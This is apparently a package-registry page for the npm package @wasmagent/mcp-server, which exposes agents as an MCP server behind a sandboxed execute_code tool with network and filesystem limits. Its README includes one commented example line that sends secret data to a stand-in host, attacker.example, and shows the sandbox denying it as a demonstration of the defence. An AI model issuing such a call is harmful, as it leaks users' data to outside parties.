
Product
Microsoft Teams Notifications Are Now Available in Socket
Socket can now send alerts and supply chain attack notifications to Microsoft Teams, with filters that route the right updates to each channel.
@wasmagent/mcp-server
Advanced tools
Expose any wasmagent agent as a Model Context Protocol (MCP) server — sync tools/call + 2025-11-25 Tasks for long-running agent work
Maturity: beta — API shape may change in minor versions; changes announced in CHANGELOG.
Expose any wasmagent agent as a Model Context Protocol (MCP) server.
Part of wasmagent — a TypeScript + WASM agent runtime.
Replacing a bare tool list published directly to the host with a sandboxed
execute_code surface:
+import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
+import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
+import { ToolRegistry } from "@wasmagent/core";
-// Before: host sees every tool directly — 40 tools × schema = huge context cost
-server.setRequestHandler(ListToolsRequestSchema, () => ({
- tools: [...allFortyTools],
-}));
+// After: host sees ONLY docs_search + execute_code; model dispatches internally
+const tools = new ToolRegistry();
+// tools.register(...) — register your 40 tools here
+
+await runStdio(createCodeModeServer({
+ tools,
+ kernel: new QuickJSKernel(),
+ capabilities: { allowedHosts: [], cpuMs: 5_000 },
+ serverInfo: { name: "my-agent", version: "1.0.0" },
+}));
At N=30 downstream tools the bootstrap-token cost drops to 13.6% of the direct
approach. The model calls execute_code with a script; the script calls
callTool(...) for whichever tools it needs — all under one CapabilityManifest.
npm install /mcp-server /core
The McpAgentServer is transport-agnostic: it speaks JSON-RPC
through a single handle(req) method. Pick the transport that fits
your host:
# Zero-config default — code-mode server with VmKernel and no
# downstream tools. Useful for sanity / introspection only.
npx /mcp-server
For a real deployment, write a small Node script and call
runStdio() with your own server:
// server.mjs
import { createCodeModeServer, runStdio } from "/mcp-server/stdio";
import { QuickJSKernel } from "/kernel-quickjs";
import { ToolRegistry } from "/core";
const tools = new ToolRegistry();
// tools.register(...) — your tools here
await runStdio(createCodeModeServer({
tools,
kernel: new QuickJSKernel(),
capabilities: { allowedHosts: [], cpuMs: 5000 },
serverInfo: { name: "my-agent", version: "1.0.0" },
}));
import { createCodeModeServer, createFetchHandler } from "/mcp-server";
const server = createCodeModeServer({ /* … */ });
const handler = createFetchHandler(server);
// In a Worker: export default { fetch: handler }
handle()If you have a custom transport, the protocol-level brain is one
async (req) => { response } call away — see McpAgentServer.handle().
createCodeModeServer() wraps any tool registry into a
docs_search + execute_code MCP surface. At N=30 downstream
tools the bootstrap-token cost drops to 13.6% of direct MCP. See
docs/guides/code-mode.md.
CapabilityManifest enforces network and filesystem policy at the kernel
boundary for every script the model runs through execute_code:
import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
import { ToolRegistry } from "@wasmagent/core";
const tools = new ToolRegistry();
// tools.register(...)
await runStdio(createCodeModeServer({
tools,
kernel: new QuickJSKernel(),
capabilities: {
allowedHosts: [], // no outbound network
allowedPaths: [], // no filesystem access
cpuMs: 5_000,
memoryLimitBytes: 64 * 1024 * 1024,
},
serverInfo: { name: "my-agent", version: "1.0.0" },
}));
// Model-generated code inside execute_code that tries to exfiltrate data:
// fetch("https://attacker.example/exfil?data=secret")
// → throws: network access denied — host "attacker.example" not in allowedHosts
The manifest is enforced regardless of which downstream tools the script
calls — one declaration covers the entire execute_code surface.
Apache-2.0 — © wasmagent contributors
FAQs
Expose any wasmagent agent as a Model Context Protocol (MCP) server — sync tools/call + 2025-11-25 Tasks for long-running agent work
The npm package @wasmagent/mcp-server receives a total of 735 weekly downloads. As such, @wasmagent/mcp-server popularity was classified as not popular.
We found that @wasmagent/mcp-server demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 2 open source maintainers collaborating on the project.

Product
Socket can now send alerts and supply chain attack notifications to Microsoft Teams, with filters that route the right updates to each channel.

Security News
pnpm 12 rewrites the package manager in Rust, cutting install times by up to 90% while preserving pnpm 11 workflows and lockfiles.

Security News
Socket CTO Ahmad Nassri joins AppSec leaders at Black Hat to discuss active malware, package manager risks, and software supply chain defense.